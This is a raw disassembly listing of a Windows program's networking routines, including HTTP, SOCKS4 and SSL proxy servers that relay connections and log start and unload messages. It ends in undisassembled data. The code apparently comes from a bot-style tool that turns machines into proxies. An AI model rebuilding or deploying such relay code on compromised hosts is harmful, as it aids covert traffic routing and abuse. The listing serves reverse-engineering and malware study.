push eax
call esi
mov ecx, [ebp+0BFh]
push ecx
jmp loc_42A798
; ---------------------------------------------------------------------------
loc_42A698: ; CODE XREF: ___:00429C10j
mov edx, [esp+10Ch]
lea ecx, [esp+0CDh]
push edx
call sub_4017EE
push eax
lea eax, [esp+1Ch]
push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_42A6E2: ; CODE XREF: ___:00429CC1j
; ___:00429CC9j
mov edx, [ebp+0BBh]
mov esi, dword_511C9C
push edx
call esi
mov eax, [ebp+0BFh]
push eax
jmp loc_42A798
; ---------------------------------------------------------------------------
loc_42A6FD: ; CODE XREF: ___:00429B9Ej
mov ecx, [ebp+0BBh]
push ecx
nop
call near ptr 71AB9639h
jmp loc_42A79A
; ---------------------------------------------------------------------------
loc_42A70F: ; CODE XREF: ___:00429CEFj
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], ebx
call sub_4014BA
or esi, 0FFFFFFFFh
jmp loc_42A57C
; ---------------------------------------------------------------------------
loc_42A782: ; CODE XREF: ___:0042A2F5j
; ___:0042A2FDj
mov ecx, [ebp+0BBh]
mov esi, dword_511C9C
push ecx
call esi
mov edx, [ebp+0BFh]
push edx
loc_42A798: ; CODE XREF: ___:0042A693j
; ___:0042A6F8j
call esi
loc_42A79A: ; CODE XREF: ___:0042A636j
; ___:0042A70Aj
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], ebx
call sub_4014BA
jmp loc_42A5B4
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 4A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42ACB0 proc near ; CODE XREF: sub_4018EDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42ACB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aHttp_0 ; "HTTP"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F15C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42ACB0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42AD20: ; CODE XREF: ___:loc_40112Cj
; ___:0040128Fj
push esi
mov esi, ecx
call sub_402126
test byte ptr [esp+8], 1
jz short loc_42AD38
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42AD38: ; CODE XREF: ___:0042AD2Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AD50 proc near ; CODE XREF: sub_402126j
push esi
mov esi, ecx
mov eax, [esi+9Eh]
mov dword ptr [esi], offset off_43F15C
cmp eax, 0FFFFFFFFh
jz short loc_42AD6B
push eax
nop
call near ptr 71AB9639h
loc_42AD6B: ; CODE XREF: sub_42AD50+12j
mov ecx, esi
call sub_4017A8
pop esi
retn
sub_42AD50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AD90 proc near ; CODE XREF: sub_4010E1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42AD90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push edi
mov edi, ecx
mov dword ptr [edi+9Eh], 0FFFFFFFFh
loc_42ADB3: ; CODE XREF: sub_42AD90+48j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42ADDA
mov ecx, [edi+3Bh]
push ecx
call sub_40198D
add esp, 4
cmp eax, 0FFFFFFFFh
mov [edi+9Eh], eax
jz short loc_42ADB3
loc_42ADDA: ; CODE XREF: sub_42AD90+31j
mov edx, [edi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42AEAC
push ebp
push esi
loc_42ADF0: ; CODE XREF: sub_42AD90+114j
mov eax, [edi+9Eh]
push eax
call sub_4012DF
mov ebp, eax
add esp, 4
cmp ebp, 0FFFFFFFFh
jz loc_42AE8B
test ebp, ebp
jz short loc_42AE8B
push 0C3h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+1Ch+var_10], eax
test eax, eax
mov [esp+1Ch+var_4], 0
jz short loc_42AE36
mov ecx, eax
call sub_401893
mov esi, eax
jmp short loc_42AE38
; ---------------------------------------------------------------------------
loc_42AE36: ; CODE XREF: sub_42AD90+99j
xor esi, esi
loc_42AE38: ; CODE XREF: sub_42AD90+A4j
mov ecx, [edi+99h]
mov [esi+9Dh], edi
mov [esi+99h], ecx
mov edx, [edi+3Bh]
lea eax, [edi+26h]
lea ecx, [esi+26h]
push eax
mov [esp+20h+var_4], 0FFFFFFFFh
mov [esi+3Bh], edx
mov [esi+0BBh], ebp
call sub_401FDC
mov cl, [edi+97h]
mov [esi+97h], cl
mov dl, [edi+98h]
mov ecx, esi
mov [esi+98h], dl
call sub_4013DE
jmp short loc_42AE96
; ---------------------------------------------------------------------------
loc_42AE8B: ; CODE XREF: sub_42AD90+74j
; sub_42AD90+7Cj
push 0FAh
nop
call near ptr 2831CE8h
loc_42AE96: ; CODE XREF: sub_42AD90+F9j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jnz loc_42ADF0
pop esi
pop ebp
loc_42AEAC: ; CODE XREF: sub_42AD90+58j
mov edi, [edi+9Eh]
cmp edi, 0FFFFFFFFh
jz short loc_42AEBE
push edi
call near ptr 71AB9639h
nop
loc_42AEBE: ; CODE XREF: sub_42AD90+125j
mov ecx, [esp+14h+var_C]
pop edi
mov large fs:0, ecx
add esp, 10h
retn
sub_42AD90 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AF20 proc near ; CODE XREF: sub_40137Aj
push ebx
push esi
mov esi, ecx
push edi
mov al, [esi+9Dh]
lea edi, [esi+11h]
test al, al
mov eax, [esi+3Bh]
lea ebx, [esi+26h]
push eax
mov ecx, edi
jz short loc_42AF48
call sub_4017EE
push eax
push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL."
jmp short loc_42AF53
; ---------------------------------------------------------------------------
loc_42AF48: ; CODE XREF: sub_42AF20+19j
call sub_4017EE
push eax
push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d."
loc_42AF53: ; CODE XREF: sub_42AF20+26j
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
mov ecx, esi
call sub_4010E1
mov eax, [esi+3Bh]
mov ecx, edi
push eax
call sub_4017EE
push eax
push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
pop edi
pop esi
pop ebx
retn
sub_42AF20 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AFF0 proc near ; CODE XREF: sub_40213Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42AFF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F16C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42AFF0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B060: ; CODE XREF: ___:0040187Fj
; ___:loc_401B18j
push esi
mov esi, ecx
call sub_401FA5
test byte ptr [esp+8], 1
jz short loc_42B078
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B078: ; CODE XREF: ___:0042B06Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B090 proc near ; CODE XREF: sub_401FA5j
jmp sub_4017A8
sub_42B090 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B0B0 proc near ; CODE XREF: sub_4010AFj
var_81D = byte ptr -81Dh
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = byte ptr -808h
var_807 = byte ptr -807h
var_806 = word ptr -806h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
var_400 = byte ptr -400h
sub esp, 820h
lea eax, [esp+820h+var_81D]
push ebx
push ebp
push esi
mov esi, dword_511CA4
mov ebp, ecx
push edi
push 0
push 1
mov ecx, [ebp+0A1h]
push eax
push ecx
call esi
cmp eax, 1
jge short loc_42B0F1
mov edx, [ebp+0A1h]
push edx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B0F1: ; CODE XREF: sub_42B0B0+27j
cmp [esp+830h+var_81D], 4
jnz loc_42B2DC
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_807]
push 406h
push eax
push ecx
call esi
cmp eax, 1
jge short loc_42B12E
mov edx, [ebp+0A1h]
push edx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B12E: ; CODE XREF: sub_42B0B0+64j
cmp [esp+830h+var_807], 1
jnz loc_42B2DC
mov cx, [esp+830h+var_806]
mov edx, [esp+830h+var_804]
xor eax, eax
push 6
mov [esp+834h+var_818], eax
push 1
mov [esp+838h+var_814], eax
push 2
mov [esp+83Ch+var_810], eax
mov word ptr [esp+83Ch+var_818], 2
mov [esp+83Ch+var_80C], eax
mov word ptr [esp+83Ch+var_818+2], cx
mov [esp+83Ch+var_814], edx
nop
call near ptr 71AB3B91h
mov ebx, eax
lea eax, [esp+830h+var_818]
push 10h
push eax
push ebx
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
mov [esp+830h+var_808], 0
jnz short loc_42B1C9
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Bh
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
nop
call near ptr 71AB428Ah
mov eax, [ebp+0A1h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B1C9: ; CODE XREF: sub_42B0B0+D8j
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Ah
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
nop
call near ptr 71AB428Ah
mov ecx, [ebp+0A1h]
mov esi, dword_511CAC
lea eax, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push eax
push 8004667Eh
push ecx
call esi
lea edx, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push edx
push 8004667Eh
push ebx
call esi
loc_42B226: ; CODE XREF: sub_42B0B0+1AFj
; sub_42B0B0+1FEj ...
mov edi, dword_511CA4
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jz loc_42B2CA
jge short loc_42B261
call near ptr 71AB94DCh
nop
cmp eax, 2733h
jz short loc_42B261
push 0Ah
nop
call near ptr 2831CE8h
jmp short loc_42B226
; ---------------------------------------------------------------------------
loc_42B261: ; CODE XREF: sub_42B0B0+198j
; sub_42B0B0+1A5j
mov edx, [ebp+0A1h]
push 0
lea ecx, [esp+834h+var_400]
push esi
push ecx
push edx
nop
call near ptr 71AB428Ah
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ecx
call edi
mov esi, eax
test esi, esi
jz short loc_42B2CA
jge short loc_42B2B3
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_42B2B3
push 0Ah
nop
call near ptr 2831CE8h
jmp loc_42B226
; ---------------------------------------------------------------------------
loc_42B2B3: ; CODE XREF: sub_42B0B0+1E7j
; sub_42B0B0+1F4j
push 0
lea edx, [esp+834h+var_400]
push esi
push edx
push ebx
call near ptr 71AB428Ah
nop
jmp loc_42B226
; ---------------------------------------------------------------------------
loc_42B2CA: ; CODE XREF: sub_42B0B0+192j
; sub_42B0B0+1E5j
mov eax, [ebp+0A1h]
mov esi, dword_511C9C
push eax
call esi
push ebx
call esi
loc_42B2DC: ; CODE XREF: sub_42B0B0+46j
; sub_42B0B0+83j
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
sub_42B0B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B380 proc near ; CODE XREF: sub_40218Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B380
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F17C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B380 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B3F0 proc near ; CODE XREF: ___:00401032j sub_4017B2j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401C4E
test [esp+4+arg_0], 1
jz short loc_42B408
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B408: ; CODE XREF: sub_42B3F0+Dj
mov eax, esi
pop esi
retn 4
sub_42B3F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B420 proc near ; CODE XREF: sub_401C4Ej
jmp sub_4017A8
sub_42B420 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B440 proc near ; CODE XREF: sub_40189Dj
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42B440
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push esi
mov esi, ecx
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
lea ebx, [esi+26h]
call sub_4017EE
push eax
push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42B649
mov cx, [esi+3Bh]
xor eax, eax
mov [esp+3Ch+var_2C], eax
push ecx
mov [esp+40h+var_28], eax
mov word ptr [esp+40h+var_2C], 2
mov [esp+40h+var_24], eax
mov [esp+40h+var_20], eax
nop
call near ptr 71AB2B66h
mov word ptr [esp+3Ch+var_2C+2], ax
mov eax, [esi+9Dh]
lea edx, [esp+3Ch+var_2C]
push 10h
push edx
push eax
mov [esp+48h+var_34], 10h
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42B516
mov ecx, [esi+9Dh]
push ecx
nop
call near ptr 71AB9639h
pop esi
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42B516: ; CODE XREF: sub_42B440+B6j
mov edx, [esi+99h]
push ebp
push edi
mov al, [edx+11Ch]
test al, al
jz loc_42B600
loc_42B52C: ; CODE XREF: sub_42B440+1BAj
mov eax, [esi+9Dh]
push 0Ah
push eax
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_42B550
push 0FAh
nop
call near ptr 2831CE8h
jmp loc_42B5EC
; ---------------------------------------------------------------------------
loc_42B550: ; CODE XREF: sub_42B440+FEj
mov eax, [esi+9Dh]
lea ecx, [esp+40h+var_30]
lea edx, [esp+40h+var_18]
push ecx
push edx
push eax
call near ptr 71AC1028h
nop
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42B600
xor edi, edi
cmp ebp, edi
jz loc_42B600
push 0A5h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42B59E
mov ecx, eax
call sub_40213A
mov edi, eax
loc_42B59E: ; CODE XREF: sub_42B440+153j
mov ecx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], ecx
mov edx, [esi+3Bh]
push ebx
lea ecx, [edi+26h]
mov [esp+48h+var_4], 0FFFFFFFFh
mov [edi+3Bh], edx
mov [edi+0A1h], ebp
call sub_401FDC
mov al, [esi+97h]
mov [edi+97h], al
mov cl, [esi+98h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013DE
loc_42B5EC: ; CODE XREF: sub_42B440+10Bj
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42B52C
loc_42B600: ; CODE XREF: sub_42B440+E6j
; sub_42B440+12Cj ...
mov eax, [esi+9Dh]
pop edi
cmp eax, 0FFFFFFFFh
pop ebp
jz short loc_42B614
push eax
nop
call near ptr 71AB9639h
loc_42B614: ; CODE XREF: sub_42B440+1CBj
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
call sub_4017EE
push eax
push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
loc_42B649: ; CODE XREF: sub_42B440+69j
mov ecx, [esp+3Ch+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42B440 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B6F0 proc near ; CODE XREF: sub_401758j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
call near ptr 71AB4FD4h
nop
test eax, eax
jz short loc_42B711
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov ecx, [esp+arg_4]
mov eax, [edx]
mov [ecx], eax
mov al, 1
retn 8
; ---------------------------------------------------------------------------
loc_42B711: ; CODE XREF: sub_42B6F0+Dj
xor al, al
retn 8
sub_42B6F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B730 proc near ; CODE XREF: sub_4020E0j
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 50Ch
push ebx
mov ebx, [esp+510h+arg_4]
push ebp
push esi
push edi
mov [esp+51Ch+var_50C], 0
mov [esp+51Ch+var_508], 0
loc_42B751: ; CODE XREF: sub_42B730+12Cj
mov ebp, [esp+51Ch+arg_0]
mov [esp+51Ch+var_504], 1
mov [esp+51Ch+var_500], ebp
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42B76A: ; CODE XREF: sub_42B730+45j
cmp [ecx], ebx
jz short loc_42B777
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42B76A
loc_42B777: ; CODE XREF: sub_42B730+3Cj
cmp eax, 1
jnz short loc_42B788
mov [esp+51Ch+var_4FC], ebx
mov [esp+51Ch+var_504], 2
loc_42B788: ; CODE XREF: sub_42B730+4Aj
lea eax, [esp+51Ch+var_50C]
lea ecx, [esp+51Ch+var_504]
push eax
push 0
push 0
push ecx
push 2
call near ptr 71AB2DC0h
nop
test eax, eax
jbe short loc_42B813
cmp eax, 0FFFFFFFFh
jz short loc_42B813
lea edx, [esp+51Ch+var_504]
push edx
push ebp
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42B7BC
mov eax, ebp
mov ebp, ebx
jmp short loc_42B7BE
; ---------------------------------------------------------------------------
loc_42B7BC: ; CODE XREF: sub_42B730+84j
mov eax, ebx
loc_42B7BE: ; CODE XREF: sub_42B730+8Aj
push 0
lea ecx, [esp+520h+var_400]
push 3FFh
push ecx
push eax
nop
call near ptr 71AB615Ah
mov edi, eax
xor esi, esi
cmp edi, 0FFFFFFFFh
mov [esp+edi+51Ch+var_400], 0
jz short loc_42B862
test edi, edi
jz short loc_42B862
jbe short loc_42B80C
loc_42B7EB: ; CODE XREF: sub_42B730+DAj
mov edx, edi
push 0
sub edx, esi
lea eax, [esp+esi+520h+var_400]
push edx
push eax
push ebp
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
jz short loc_42B862
add esi, eax
cmp esi, edi
jb short loc_42B7EB
loc_42B80C: ; CODE XREF: sub_42B730+B9j
mov ebp, [esp+51Ch+arg_0]
loc_42B813: ; CODE XREF: sub_42B730+70j
; sub_42B730+75j
mov [esp+51Ch+var_500], ebp
mov [esp+51Ch+var_504], 1
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42B825: ; CODE XREF: sub_42B730+100j
cmp [ecx], ebx
jz short loc_42B832
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42B825
loc_42B832: ; CODE XREF: sub_42B730+F7j
cmp eax, 1
jnz short loc_42B844
mov [esp+eax*4+51Ch+var_500], ebx
mov eax, [esp+51Ch+var_504]
inc eax
mov [esp+51Ch+var_504], eax
loc_42B844: ; CODE XREF: sub_42B730+105j
lea ecx, [esp+51Ch+var_50C]
lea edx, [esp+51Ch+var_504]
push ecx
push edx
push 0
push 0
push 2
nop
call near ptr 71AB2DC0h
test eax, eax
jle loc_42B751
loc_42B862: ; CODE XREF: sub_42B730+B3j
; sub_42B730+B7j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 50Ch
retn 8
sub_42B730 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B8E0 proc near ; CODE XREF: sub_401C30j
var_51C = word ptr -51Ch
var_51A = word ptr -51Ah
var_518 = dword ptr -518h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_400 = dword ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 51Ch
push ebx
push ebp
mov ebp, [esp+524h+arg_4]
push esi
push edi
mov edx, ecx
movsx eax, byte ptr [ebp+3]
dec eax
mov [esp+52Ch+var_508], 0
mov [esp+52Ch+var_50C], 7
mov [esp+52Ch+var_51C], 2
jz short loc_42B97F
dec eax
jz short loc_42B92A
dec eax
jnz loc_42BA72
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42B92A: ; CODE XREF: sub_42B8E0+32j
movsx eax, byte ptr [ebp+4]
mov ecx, eax
lea esi, [ebp+5]
mov ebx, ecx
lea edi, [esp+52Ch+var_400]
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov byte ptr [esp+eax+52Ch+var_400], 0
lea eax, [esp+52Ch+var_518]
lea ecx, [esp+52Ch+var_400]
push eax
push ecx
mov ecx, edx
call sub_401758
test al, al
jz loc_42BA72
movsx esi, byte ptr [ebp+4]
mov dx, [esi+ebp+5]
add esi, 7
mov [esp+52Ch+var_51A], dx
jmp short loc_42B99B
; ---------------------------------------------------------------------------
loc_42B97F: ; CODE XREF: sub_42B8E0+2Fj
mov eax, [ebp+4]
mov esi, 0Ah
mov [esp+52Ch+var_400], eax
mov [esp+52Ch+var_518], eax
mov ax, [ebp+8]
mov [esp+52Ch+var_51A], ax
loc_42B99B: ; CODE XREF: sub_42B8E0+9Dj
mov ebx, dword_511C3C
push 11h
push 2
push 2
call ebx
push 11h
push 2
push 2
mov edi, eax
call ebx
cmp edi, 0FFFFFFFFh
jz loc_42BA72
cmp eax, 0FFFFFFFFh
jnz loc_42BA72
mov edx, [esp+52Ch+arg_8]
lea ecx, [esp+52Ch+var_51C]
push 10h
push ecx
sub edx, esi
push 0
add esi, ebp
mov ebp, dword_511C68
push edx
push esi
push edi
call ebp
mov ebx, [esp+52Ch+arg_0]
push 10h
push ebx
push edi
nop
call near ptr 71AB3E00h
test eax, eax
jnz short loc_42BA72
loc_42B9F9: ; CODE XREF: sub_42B8E0+174j
lea eax, [esp+52Ch+var_50C]
lea ecx, [esp+52Ch+var_504]
push eax
push 0
push 0
push ecx
push 1
mov [esp+540h+var_500], 0FFFFFFFFh
mov [esp+540h+var_504], 1
nop
call near ptr 71AB2DC0h
push 0
push 0
push 0
lea edx, [esp+538h+var_400]
push 3FFh
push edx
push edi
nop
call near ptr 71AB2D0Fh
push 10h
mov esi, eax
push ebx
push 0
lea eax, [esp+538h+var_400]
push esi
push eax
push 0FFFFFFFFh
call ebp
test esi, esi
jbe short loc_42BA56
cmp esi, 0FFFFFFFFh
jnz short loc_42B9F9
loc_42BA56: ; CODE XREF: sub_42B8E0+16Fj
mov esi, dword_511C9C
push edi
call esi
push 0FFFFFFFFh
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42BA72: ; CODE XREF: sub_42B8E0+35j
; sub_42B8E0+86j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 51Ch
retn 0Ch
sub_42B8E0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BB00 proc near ; CODE XREF: sub_42C5C0:loc_4013A2j
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = byte ptr -81Ch
var_81A = word ptr -81Ah
var_818 = dword ptr -818h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_7E8 = dword ptr -7E8h
var_7E4 = dword ptr -7E4h
var_708 = byte ptr -708h
var_707 = byte ptr -707h
var_705 = dword ptr -705h
var_604 = word ptr -604h
var_600 = dword ptr -600h
var_5F0 = byte ptr -5F0h
var_200 = byte ptr -200h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
sub esp, 82Ch
push ebx
push ebp
push esi
mov esi, [esp+838h+arg_0]
cmp esi, 0FFFFFFFFh
push edi
mov ebp, ecx
mov [esp+83Ch+var_828], 0
mov [esp+83Ch+var_82C], 0Bh
mov [esp+83Ch+var_808], esi
mov [esp+83Ch+var_80C], 1
jz loc_42BDBA
mov eax, [ebp-8]
mov ecx, [eax+4]
mov ax, [ecx+ebp-2]
cmp ax, 1
jnz loc_42BED6
mov edi, dword_511C94
lea edx, [esp+83Ch+var_82C]
push edx
push 0
lea eax, [esp+844h+var_80C]
push 0
push eax
push 1
call edi
test eax, eax
jle loc_42BF63
lea ecx, [esp+83Ch+var_80C]
push ecx
push esi
call sub_438256
; ---------------------------------------------------------------------------
dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh
dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
